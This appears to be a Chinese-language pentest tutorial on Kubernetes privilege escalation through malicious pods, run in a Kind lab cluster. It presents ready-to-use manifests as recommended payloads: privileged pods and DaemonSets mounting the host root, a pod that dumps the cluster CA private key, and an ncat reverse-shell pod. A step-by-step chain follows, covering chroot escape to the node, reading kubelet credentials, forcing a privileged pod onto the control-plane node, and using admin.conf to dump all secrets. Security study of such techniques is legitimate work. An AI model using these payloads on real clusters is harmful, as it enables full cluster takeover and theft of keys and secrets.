7.k8s-恶意pod构建与利用

Pasted image 20250413122257

1. 推荐的恶意负载

1.1. 恶意Pod

apiVersion: v1
kind: Pod
metadata:
  name: noderootpod
  labels:
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    effect: NoSchedule
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: noderootpod
    image: busybox
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

1.2. 恶意DaemonSet

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: noderootdaemon
  labels:
spec:
  selector:
    matchLabels:
      name: noderootdaemon
  template:
    metadata:
      labels:
        name: noderootdaemon
    spec:
      tolerations:
      - key: node-role.kubernetes.io/master
        effect: NoSchedule
      hostNetwork: true
      hostPID: true
      hostIPC: true
      containers:
      - name: noderootpod
        image: busybox
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: noderoot
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "while true; do sleep 30; done;" ]
      volumes:
      - name: noderoot
        hostPath:
          path: /

1.3. 轻量 窃取敏感文件的Pod

apiVersion: v1
kind: Pod
metadata:
  name: keydumper-pod
  labels:
    app: keydumper
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    effect: NoSchedule
  containers:
  - name: keydumper-pod
    image: busybox
    volumeMounts:
    - mountPath: /pki
      name: keyvolume
    command: ['cat', '/pki/ca.key']
  volumes:
  - name: keyvolume
    hostPath:
      path: /etc/kubernetes/pki
      type: Directory

1.4. 反弹Shell的Pod

apiVersion: v1
kind: Pod
metadata:
  name: ncat-reverse-shell-pod
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    effect: NoSchedule
  containers:
  - name: ncat-reverse-shell
    image: raesene/ncat
    volumeMounts:
    - mountPath: /host
      name: hostvolume
    args: ['[IP]', '8989', '-e', '/bin/bash']
  volumes:
  - name: hostvolume
    hostPath:
      path: /
      type: Directory

2. 前置:环境与利用条件

2.1. 环境部署

Kind 部署 1master 2worker(v1.23) 集群。k8s环境搭建

2.2. 先决利用条件

  1. 能够访问到集群
  2. 有在至少一个命名空间中创建以下资源类型之一的 RBAC 权限:
    1. CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. 进入 pod 执行命令的 RBAC 权限或允许 pod 的反向 shell 到达自己的网络策略。
  4. 没有强制执行 pod 安全策略,或者允许创建具有一个或多个安全敏感属性的 pod 的策略。

3. 运行所有

3.1. 根据配置文件创建Pod

Pasted image 20250412160953

  • 该Pod对象名称 everything-allowed-revshell-pod;标签为 app: pentest;
  • 使用了宿主机(Node)的hostNetwork、hostPID、hostIPC(使用宿主机的 hostNetwork 会使 Pod 中的容器使用 Node 上的网络命名空间,这将使容器绕过 Kubernetes 的网络隔离措施,容器将能够与 Node 上的其他容器或 Pod 直接通信。使用 hostPID 选项允许容器使用 Node 上进程的 PID 命名空间,这意味着容器可以查看和操作 Node 上的所有进程。使用 hostIPC 选项允许容器使用 Node 的 IPC(进程间通信)命名空间,这意味着容器可以查看和操作 Node 上的所有 IPC 对象);
  • 该容器被授予了特权模式 (privileged: true),容器运行时会拥有宿主机的权限;hostPath,容器挂载了名为 noderoot 的卷,将宿主机(Node)的根目录(/)挂载到了容器(Pod)的 /host 目录下,使得容器可以访问宿主机的文件系统。
#everything-allowed-exec-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /
kubectl apply -f everything-allowed-exec-pod.yaml
kubectl get pods

3.2. 进入 Pod 直接获取 Node 权限

kubectl exec -it everything-allowed-exec-pod -- /bin/bash

因为设置了hostNetwork 共享,虽然我们这里进入的是pod但是却显示着节点的名字,同时我们也相当于有了节点的权限,而不单单是pod权限
Pasted image 20250412163816

Note

hostNetwork: true: 允许 Pod 使用主机的网络命名空间。
hostPID: true: 允许 Pod 使用主机的进程命名空间。
hostIPC: true: 允许 Pod 使用主机的 IPC 命名空间。
securityContext: privileged: true: 将容器设置为特权容器,具有主机上的所有权限。

第一个是 Pod 中容器的根目录,第二个是挂载到容器中宿主机(demo-worker节点)的根目录

进程也共享, ps -aux
Pasted image 20250412164159
特权下也能查看节点上的挂载信息 mount

3.3. chroot "逃逸"到 Node 上

在 Pod 上通过挂载目录可以看见节点的文件系统,但是 Pod 中无 ip 这个命令,

chroot 命令用于改变进程的根文件系统目录,下方命令会将容器的根文件系统更改为节点的根文件系统,实际上是将容器"切换"到节点的文件系统环境中,这样的操作通常需要特权容器或其他相关的权限配置

chroot /host
Warning
  • chroot 后进入的是宿主机上的文件系统快照,而不是真正的根文件系统。
  • chroot 后能执行宿主机上的程序(包括容器上没有但宿主机上有的程序),查看宿主机上的文件内容,访问节点上的资源(硬件资源、网络资源),需要注意的是修改文件系统内容方面,虽然可以修改文件、创建新文件、删除文件等,但这些修改只影响到 chroot 后的快照环境,并不影响真正的根文件系统。

执行完后我们将处于节点文件系统的环境中,而不再处于容器的文件系统中,可以直接列出节点的文件系统,并且可以使用节点上的 ip 命令,这在 pod 中是不存在的,

ip a |grep inet

kubectl get node -o wide 通过上帝视角查看demo-worker节点的IP,与上面相符。
Pasted image 20250412164639
自此,拥有demo-worker 这个节点的所有权限。

3.4. 信息收集

目前我们已经拿到了 demo-worker 这个节点的所有权限,

节点上kubelet的凭证在 /etc/kubernetes/kubelet.conf 中,凭证拥有默认的权限,里面也存在集群 ApiServer 的地址,

cat /etc/kubernetes/kubelet.conf

Pasted image 20250412164920

获取集群版本

curl -k https://demo-control-plane:6443/version

Pasted image 20250412165014

下载 kubectl 方便后续操作,一般建议使用与目标集群相同版本的 kubectl,或者比目标集群版本低一个小版本的kubectl

#在恶意pod中运行
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version

Pasted image 20250412165443
查看当前节点权限,很安全,没有什么很特别的权限,

kubectl --kubeconfig=/etc/kubernetes/kubelet.conf auth can-i --list

Pasted image 20250412165504

kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes

虽然该节点没有 list node 权限,但是我们仍然可以列出了,因为节点信息通常对所有用户都是可见的,并且不受 RBAC 规则的限制。
Pasted image 20250412165514

3.5. 获取整个集群权限

下面提供几个思路。当然不是全部。

3.5.1. 方案1:在 master 上创建Pod

3.5.1.1. 创建 Pod 并尝试调度到 master 上

将 nodeName 赋值为 master 节点名,可以强制将该 Pod 调度到该节点上运行。上面的信息收集中我们已经知道了 master 节点名 demo-control-plane

Warning

注意这里创建 everything-allowed-exec-pod-master 利用的是先决条件中拥有的权限,而不是在已经被我们完全控制的 demo-worker 节点上,更何况这个节点并没有创建 Pod 的权限。

#everything-allowed-exec-pod-master.yaml
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod-master
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  nodeName: demo-control-plane
  containers:
  - name: everything-allowed-pod-master
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /
EOF

kubectl get pods

Pasted image 20250412174643

确实也成功运行在了 master 节点上了,

kubectl get pods -owide | grep everything-allowed-exec-pod-master

Pasted image 20250412174804

3.5.1.2. 直接获取 master 节点权限
kubectl exec -it everything-allowed-exec-pod-master -- /bin/bash
chroot /host
#下载 kubectl,
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version
#查看配置目录,获取到高权限凭据,
ls /etc/kubernetes

Pasted image 20250412175224

自此,拥有集群所有权限,结束

#- 检查当前用户/服务账户在所有命名空间中的操作权限
kubectl --kubeconfig=/etc/kubernetes/admin.conf auth can-i --list
#查看集群中所有命名空间的 Secret 资源
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secrets -A

Pasted image 20250412175603

3.5.1.3. 也可以从 etcd 读取敏感数据